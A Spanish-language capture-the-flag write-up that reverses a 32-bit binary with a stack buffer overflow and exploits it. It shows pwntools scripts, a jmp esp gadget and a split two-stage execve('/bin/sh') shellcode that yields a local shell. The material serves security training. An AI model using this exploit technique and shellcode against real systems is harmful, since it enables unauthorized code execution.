Reversing
El binario entregado de primeras no nos deja claro el uso que este tiene o que hace, ya que el programa muestra un prompt pero al enviar alguna data no devuelve nada
Iniciamos por desensamblar la función main
, esta muuestra un prompt con printf
y llama a fflush
pasandole como argumento el puntero al stdout
, es redundante
Luego de ello lee 0x1f
o 31
bytes desde el stdin
o 0
utilizando read
y lo guarda en una variable llamada buffer, luego de ello simplemente llama a la función vuln
La función vuln
recibe como argumento el buffer y lo copia a un nuevo destino en ebp - 14
, un destino mas pequeño que el origen ocasiona un buffer overflow
Explotación
Iniciamos mirando las protecciones con checksec
, todas están deshabilitadas y no tenemos restricciones asi que deberia ser una explotación bastante sencilla
❯ checksec space
[*] '/home/user/space'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Podemos crear un payload, enviaremos 14 A's
para rellenar el buffer antes de ebp
, 4 B's
que seran el valor de ebp en el leave
y 4 C's
que tomaran el valor del return address, y finalmente algunas D's
que simplemente se guardarán en el stack
#!/usr/bin/python3
from pwn import gdb
shell = gdb.debug("./space", "continue")
payload = b""
payload += b"A" * 14
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 16
shell.sendlineafter(b"> ", payload)
shell.interactive()
Al ejecutar el exploit podemos ver la primera restricción, el problema es que de todas nuestras D's
solo se escriben 9
en el stack, aunque saltemos al esp
es muy poco
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
pwndbg> p/x $ebp
$1 = 0x42424242
pwndbg> p/x $eip
$2 = 0x43434343
pwndbg> x/s $esp
0xff881270: "DDDDDDDDD"
pwndbg>
Los unicos 9
bytes son un espacio muy limitado para un shellcode, algo interesante es que 17
bytes después del stack se encuentra nuevamente el inicio del buffer
pwndbg> x/s $esp+17
0xff881282: 'A' <repetidos 14 veces>, "BBBBCCCCDDDDDDDDD"
pwndbg>
Entonces, iniciamos buscando una forma de ejecutar un pequeño stage
usaremos un gadget que ejecuta un jmp esp
para ejecutar un par de instrucciones y un short jump
❯ ropper --file space --jmp esp
JMP Instructions
================
0x0804919f: jmp esp;
1 gadgets found
Lo primero que ejecutaremos serán las 2
primeras instrucciones de un shellcode que pesan 3
bytes, luego de ello hacemos un short jump 14
bytes más adelante
#!/usr/bin/python3
from pwn import gdb, p32, asm
shell = gdb.debug("./space", "b *0x804919f\ncontinue")
shellback = ("""
push 0xb # execve()
pop eax # $eax = execve()
jmp $+0xe # short jump
""")
offset = 18
junk = b"A" * offset
payload = b""
payload += junk
payload += p32(0x804919f) # jmp esp;
payload += asm(shellback) # 1nd stage
shell.sendlineafter(b"> ", payload)
shell.interactive()
Entonces, llegamos al breakpoint en el jmp esp
, este ejecutará las 2
instrucciones del shellcode y saltará al inicio del buffer que ahora mismo apunta a las 18 A's
Breakpoint 1, 0x0804919f in _ ()
pwndbg> x/i $eip
=> 0x804919f <_+13>: jmp esp
pwndbg> x/3i $esp
0xff8645a0: push 0xb
0xff8645a2: pop eax
0xff8645a3: jmp 0xff8645b1
pwndbg> x/s 0xff8645b1
0xff8645b1: 'A' <repetidos 18 veces>
pwndbg>
El shellcode pesa apenas 21
bytes y ya enviamos 3
de ellos, lo que nos deja 18
restantes, afortunadamente 18
bytes es justo el tamaño del offset por lo que podemos cambiarlo por las A's
, asi ejecutamos el shellcode en 2 partes
#!usr/bin/python3
from pwn import process, p32, asm
shell = process("./space")
shellback = ("""
push 0xb # execve()
pop eax # $eax = execve()
jmp $+0xe # short jump
""")
shellcode = ("""
push 0x68 # $esp = &"h"
pushw 0x732f # $esp = &"/sh"
push 0x6e69622f # $esp = &"/bin/sh"
mov ebx, esp # $ebx = &"/bin/sh"
xor ecx, ecx # $ecx = NULL
cdq # $edx = NULL
int 0x80 # syscall
""")
payload = b""
payload += asm(shellcode) # 2nd stage
payload += p32(0x804919f) # jmp esp;
payload += asm(shellback) # 1nd stage
shell.sendlineafter(b"> ", payload)
shell.interactive()
Al ejecutar el exploit el primer stage ejecuta una parte de las instrucciones y salta al segundo stage que ejecuta el resto del shellcode devolviendo asi la shell
❯ python3 solve.py
[+] Starting local process './space': pid 195324
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$